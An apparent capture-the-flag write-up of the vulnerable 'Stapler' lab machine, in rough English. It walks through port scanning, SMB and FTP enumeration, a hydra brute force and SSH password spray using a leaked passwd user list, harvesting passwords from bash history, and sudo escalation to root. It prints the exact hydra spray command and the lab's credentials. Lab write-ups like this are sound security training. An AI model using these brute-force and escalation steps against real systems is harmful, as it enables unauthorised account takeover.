本文已参与「新人创作礼」活动，一起开启掘金创作之路
Scan
nmap
> nmap 192.168.235.148
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-20 09:27 CST
Nmap scan report for 192.168.235.148
Host is up (0.27s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknown
53port
Using nslookup , but nothing was found .
139port
This server opened SMB port too , so I scanned this port by using enum4linux
And found some directory could be logged by null user and password.
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
And also making sure there was a elly user in this server.
S-1-22-1-1029 Unix User\elly (Local User)
Except for that I got a user list .
80port
It was seemed that 80 port shared a user home directory
And there was nothing interesting.
21port
Using ftp to connect server by anonynous without password
And found a note :D
There was maybe a user named Elly in this server.
Using hydra to crake the password and found its password was ylle...
So I could logged into its ftp.
surprisly , I found a passwd file in its ftp , so I got a user list.
ftp> less passwd
root:x:0:0:root:/root:/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
messagebus:x:108:111::/var/run/dbus:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
mysql:x:111:117:MySQL Server,,,:/nonexistent:/bin/false
RNunemaker:x:1001:1001::/home/RNunemaker:/bin/bash
ETollefson:x:1002:1002::/home/ETollefson:/bin/bash
DSwanger:x:1003:1003::/home/DSwanger:/bin/bash
AParnell:x:1004:1004::/home/AParnell:/bin/bash
SHayslett:x:1005:1005::/home/SHayslett:/bin/bash
MBassin:x:1006:1006::/home/MBassin:/bin/bash
JBare:x:1007:1007::/home/JBare:/bin/bash
LSolum:x:1008:1008::/home/LSolum:/bin/bash
IChadwick:x:1009:1009::/home/IChadwick:/bin/false
MFrei:x:1010:1010::/home/MFrei:/bin/bash
SStroud:x:1011:1011::/home/SStroud:/bin/bash
CCeaser:x:1012:1012::/home/CCeaser:/bin/dash
JKanode:x:1013:1013::/home/JKanode:/bin/bash
CJoo:x:1014:1014::/home/CJoo:/bin/bash
Eeth:x:1015:1015::/home/Eeth:/usr/sbin/nologin
LSolum2:x:1016:1016::/home/LSolum2:/usr/sbin/nologin
JLipps:x:1017:1017::/home/JLipps:/bin/sh
jamie:x:1018:1018::/home/jamie:/bin/sh
Sam:x:1019:1019::/home/Sam:/bin/zsh
Drew:x:1020:1020::/home/Drew:/bin/bash
jess:x:1021:1021::/home/jess:/bin/bash
SHAY:x:1022:1022::/home/SHAY:/bin/bash
Taylor:x:1023:1023::/home/Taylor:/bin/sh
mel:x:1024:1024::/home/mel:/bin/bash
kai:x:1025:1025::/home/kai:/bin/sh
zoe:x:1026:1026::/home/zoe:/bin/bash
NATHAN:x:1027:1027::/home/NATHAN:/bin/bash
www:x:1028:1028::/home/www:
postfix:x:112:118::/var/spool/postfix:/bin/false
ftp:x:110:116:ftp daemon,,,:/var/ftp:/bin/false
elly:x:1029:1029::/home/elly:/bin/bash
666port
It gave me a zip file . But after fixed it many times with fail. I was sure it might be a rabbit hole .
shell as SHayslett
I used userlist got it at ftp to spary the password.
hydra -L userlist 192.168.140.148 ssh -e nsr
And I got SHayslett's valid password
22 host: 192.168.140.148 login: SHayslett password: SHayslett
Privilege Escalation to Root
There was a new thought , we could see every user's bash history . There might be some important information .
In JKanode's home directory , I found JKanode and peter's password .
And by using peter , I used sudo to root the server .
